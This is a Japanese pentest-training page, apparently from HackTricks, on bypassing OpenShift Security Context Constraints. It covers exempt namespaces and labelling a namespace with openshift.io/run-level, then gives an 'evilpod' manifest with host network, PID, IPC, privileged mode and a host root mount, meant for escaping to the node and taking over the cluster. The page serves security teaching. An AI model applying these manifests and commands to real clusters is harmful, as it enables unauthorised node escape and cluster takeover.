# Openshift - SCC バイパス

{{#include ../../../banners/hacktricks-training.md}}

**このページの元の著者は** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)

## 特権名前空間

デフォルトでは、SCCは以下のプロジェクトには適用されません：

- **default**
- **kube-system**
- **kube-public**
- **openshift-node**
- **openshift-infra**
- **openshift**

これらの名前空間のいずれかにポッドをデプロイすると、SCCは強制されず、特権ポッドのデプロイやホストファイルシステムのマウントが可能になります。

## 名前空間ラベル

RedHatのドキュメントによると、ポッド上でSCCの適用を無効にする方法があります。以下のいずれかの権限を持っている必要があります：

- 名前空間を作成し、この名前空間にポッドを作成する
- 名前空間を編集し、この名前空間にポッドを作成する
```bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes
```
特定のラベル `openshift.io/run-level` は、ユーザーがアプリケーションのためにSCCを回避することを可能にします。RedHatのドキュメントによると、このラベルが使用されると、その名前空間内のすべてのポッドに対してSCCが適用されず、実質的に制限が取り除かれます。

<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>

## ラベルを追加する

名前空間にラベルを追加するには：
```bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0
```
YAMLファイルを通じてラベルを持つネームスペースを作成するには:
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
```
今、新しく作成されたすべてのポッドは、名前空間にSCCを持たないはずです。

<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
</strong><strong>$
</strong></code></pre>

SCCがない場合、ポッド定義に制限はありません。これは、悪意のあるポッドがホストシステムに簡単に逃げることができることを意味します。
```yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
```
今では、ホストシステムへの特権昇格が容易になり、その結果、クラスタ全体を掌握し、「cluster-admin」権限を取得することができます。次のページの**Node-Post Exploitation**部分を探してください：

{{#ref}}
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
{{#endref}}

### カスタムラベル

さらに、ターゲットのセットアップに基づいて、前の攻撃シナリオと同様にカスタムラベル/アノテーションが使用される場合があります。作成されていなくても、ラベルは特定のリソースに対して権限を与えたり、制限したりするために使用される可能性があります。

いくつかのリソースを読むことができる場合は、カスタムラベルを探してみてください。以下は興味深いリソースのリストです：

- Pod
- Deployment
- Namespace
- Service
- Route
```bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
```
## 特権のあるすべての名前空間をリストする
```bash
$ oc get project -o yaml | grep 'run-level' -b5
```
## Advanced exploit

OpenShiftでは、前述のように、`openshift.io/run-level`ラベルを持つ名前空間にポッドをデプロイする権限があると、クラスターの簡単な乗っ取りにつながる可能性があります。クラスター設定の観点から、この機能は**無効にできません**。これはOpenShiftの設計に固有のものです。

しかし、**Open Policy Agent GateKeeper**のような緩和策は、ユーザーがこのラベルを設定するのを防ぐことができます。

GateKeeperのルールを回避し、このラベルを設定してクラスターの乗っ取りを実行するには、**攻撃者は代替手段を特定する必要があります。**

## References

- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)



{{#include ../../../banners/hacktricks-training.md}}
